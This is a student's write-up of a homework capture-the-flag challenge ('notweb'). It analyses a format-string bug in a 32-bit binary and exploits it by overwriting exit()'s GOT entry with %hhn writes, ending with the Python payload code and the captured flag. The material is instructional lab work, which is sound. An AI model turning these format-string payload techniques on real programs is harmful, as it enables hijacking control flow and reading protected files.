notweb Writeup
Security Programming Homework 3-2
Finding Weak Points
After using gdb to do the dynamic analysis, I found that function main()
will call function get_request(). So I set the break point at the line
which calls get_request() and check it out step by step. The program calls
fgets() to get the input, and using strtok() to chop the string
according to the spaces. If the whold string only consists of one single word,
it calls exit to terminate the program. Otherwise the program will go on.
08048a51: 89 45 ec mov DWORD PTR [ebp-0x14],eax
08048a54: 83 7d ec 00 cmp DWORD PTR [ebp-0x14],0x0
08048a58: 75 0c jne 8048a66 <get_request+0x90>
08048a5a: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0
08048a61: e8 ea fb ff ff call 8048650 <exit@plt>
The variable buf sucks in the whole line of input then splits the input
into tokens according to space and colon. A diagram is showed below:
ORIGINAL INPUT:
GET /echo:%x%x%x%x%x
| | |
| | v
| v stored in local variable in ``main()``, using ``s`` as example
v length of the string is 5, the first character is stored in ``file``
abandoned
And there is a piece of code that contains printf(buf) in the function
echo(). With this, exploiting the vulnerability of format string to leak
arbitrary memory is easy. Even write some values into memory could be possible.
Weird Filter
In get_request(), the first n bytes of global variable buf will be
eliminated before return. This will make the second for loop in
filter_format() has no effect. Because the first n bytes of global variable
buf are already been cleared with zeros, the length of the string is zero.
Thus the for loop will ended up immediately. As a result, the global buf
remains, ‘%’ is not replaced with ‘_’.
In function echo(), after calling filter_format(), the string which is
after ‘:’ (‘%’ have already been replaced with ‘_’) will be copied to the front
end of the global variable buf. This could make the string which is after
‘:’ of the global variable buf (‘%’ are not replaced with ‘_’) being
overlaped. So extra calculation must be taken to assure the target string not
being messed, if someone want to exploit the program using format string.
According to the example string which is entered into the program, the value in
the global variable buf before calling printf(buf) in function
echo() is:
_x_x_x_x_x\nx%x%x%x%x\n
The result showed up is:
_x_x_x_x_x
xfffe4f4cbf7f4b3d00
If the length of the string after ‘:’ (including ‘\n’) is exactly 10, it can
overwrite the byte which contains ‘:’ (‘:’ is replaced with string terminator
because of strtok). In the end, the whole string is connected again, rear
part is our original format string.
Padding some trival characters between ‘:’ and the format string to ensure to
connect the global variable buf again, if the lenth of the string is less
than 10.
GET /echo:aaaaaaa%p
For the string which is longer than 10, one must pad some trival characters to make sure the format string won’t be covered by something useless by the fxxking program logic.
GGET /echo:%p%p%p%p%p
Objective
The return address is at $esp+0x1c in echo(), that is to say, using
%7$p could leak the return address (of course the length must be at least
10 characters). Our objective is to modify the address (0x0804917f) with the
address of function normal_file() (0x08048c8f). Besides, the content of the
global variable file should be “flag”. With all of this, the function
normal_file() can have the ability of opening the file of the flag and
reading that file. The gods send nut to those who have no teeth, the server
side has already enabled ASLR, so we cannot know the location of the return
address in the stack. Thus, exploitation using format string to overwrite the
return address in the stack is not practical.
However, there’s another way to control the eip though the return address
cannot be modified. The Global Offset Table (GOT) might be a good candidate.
The offset of the function fflush() in the GOT is 0x0804b018. The content
in that is the actual position of fflush() (0xf7e78760) after GLIBC was
dynamically loaded into the program. So we just have to replace the address
with the address of normal_file(). But again, the gods send nut to those
who have no theeth, there is a fflush() in the function normal_file().
So doing this will cause an endless loop. A better choice is to modify the
address of the function exit() in the GOT to avoid that. The offset of the
function exit() in the GOT is 0x0804b03c.
$ readelf -r notweb
Relocation section '.rel.dyn' at offset 0x49c contains 3 entries:
Offset Info Type Sym.Value Sym. Name
0804affc 00000c06 R_386_GLOB_DAT 00000000 __gmon_start__
0804b080 00001805 R_386_COPY 0804b080 stdin
0804b0a0 00001605 R_386_COPY 0804b0a0 stdout
Relocation section '.rel.plt' at offset 0x4b4 contains 21 entries:
Offset Info Type Sym.Value Sym. Name
0804b00c 00000107 R_386_JUMP_SLOT 00000000 strstr
0804b010 00000207 R_386_JUMP_SLOT 00000000 strcmp
0804b014 00000307 R_386_JUMP_SLOT 00000000 printf
0804b018 00000407 R_386_JUMP_SLOT 00000000 fflush
0804b01c 00000507 R_386_JUMP_SLOT 00000000 memcpy
0804b020 00000607 R_386_JUMP_SLOT 00000000 bzero
0804b024 00000707 R_386_JUMP_SLOT 00000000 fgets
0804b028 00000807 R_386_JUMP_SLOT 00000000 fclose
0804b02c 00000907 R_386_JUMP_SLOT 00000000 chdir
0804b030 00000a07 R_386_JUMP_SLOT 00000000 fseek
0804b034 00000b07 R_386_JUMP_SLOT 00000000 fread
0804b038 00000c07 R_386_JUMP_SLOT 00000000 __gmon_start__
0804b03c 00000d07 R_386_JUMP_SLOT 00000000 exit
0804b040 00000e07 R_386_JUMP_SLOT 00000000 strlen
0804b044 00000f07 R_386_JUMP_SLOT 00000000 __libc_start_main
0804b048 00001007 R_386_JUMP_SLOT 00000000 write
0804b04c 00001107 R_386_JUMP_SLOT 00000000 ftell
0804b050 00001207 R_386_JUMP_SLOT 00000000 fopen
0804b054 00001307 R_386_JUMP_SLOT 00000000 strncpy
0804b058 00001407 R_386_JUMP_SLOT 00000000 strtok
0804b05c 00001507 R_386_JUMP_SLOT 00000000 sprintf
Besides controlling the eip, the global variable file should be set to
the string “flag”, too.
Exploitation
The key point is that how to design the payload and keep the original format string from destroying by the filter. The following is the main part of the exploitation code.
# exit()'s offset in GOT showed up in stack fram
# normal_file() @ 0x08048c8f
# total 16 bytes
addr1 = struct.pack('<I', 0x0804b03c) # 0x8f
addr1 += struct.pack('<I', 0x0804b03d) # 0x8c
addr1 += struct.pack('<I', 0x0804b03e) # 0x04
addr1 += struct.pack('<I', 0x0804b03f) # 0x08
# file's address showed up in stack frame
# file @ 0x080637e0
# total 16 bytes
addr2 = struct.pack('<I', 0x080637e0) # 'f': 0x66 102
addr2 += struct.pack('<I', 0x080637e1) # 'l': 0x6c
addr2 += struct.pack('<I', 0x080637e2) # 'a': 0x61
addr2 += struct.pack('<I', 0x080637e3) # 'g': 0x67
inject1 = '%7c%15$hhn%253c%16$hhn%120c%17$hhn%4c%18$hhn' # 44 bytes
inject2 = '%78c%30$hhn%6c%31$hhn%245c%32$hhn%6c%33$hhna' # 44 bytes
padding = 'G'*110
payload = padding + 'GET /echo:' + addr1 + inject1 + addr2 + inject2 + '\n'
Flag
The flag is:
SECPROG{But_PWN_!s_e@sier_th@n_WEB_XDDDD}